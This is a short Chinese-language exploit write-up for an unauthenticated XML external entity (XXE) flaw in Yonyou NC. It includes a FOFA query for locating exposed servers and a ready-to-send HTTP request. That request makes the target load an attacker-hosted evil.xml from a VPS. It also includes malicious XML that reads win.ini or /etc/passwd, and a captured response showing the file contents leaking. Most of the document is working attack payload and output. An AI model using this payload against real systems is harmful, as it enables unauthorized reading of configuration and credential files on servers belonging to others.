

Y4-3用友-NC-XXE

漏洞描述：

用友 NC 多处接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：



网络测绘：

fofa语法：

app="用友-UFIDA-NC"

漏洞复现：

payload:

```
GET /uapws/service/nc.itf.tb.outlineversion.TbbOutlineUpateVersionService?xsd=http://VPS/evil.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip
```

任意文件读取利用，需要VPS上建立对应操作系统的xml文件，然后开启http服务。xml文件如下

```
windows:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><username>&name;</username><password>1</password></user>

Linux:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><username>&name;</username><password>1</password></user>
```

效果图:

Request		Responses	
		179bytes / 145ms	
1	GET /uapws/service/nc.itf.tb.outlineversion.TbbOutlineUpateVersionService?xsd=http://evil.xml HTTP/1.1	1	HTTP/1.1 200 OK
2	Host:	2	Server: Apache-Coyot
3	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)	3	Content-Type: text/x
4	Connection: close	4	Date: Wed, 28 Feb 20
5	Accept: text/plain, */*; q=0.01	5	Connection: close
6	Accept-Encoding: gzip	6	Content-Length: 179
7		7	
8		8	<?xml version='1.0'
		9	[fonts]
		10	[extensions]
		11	[mci:extensions]
		12	[files]
		13	[Mail]
		14	MAPI=1
		15	</username><password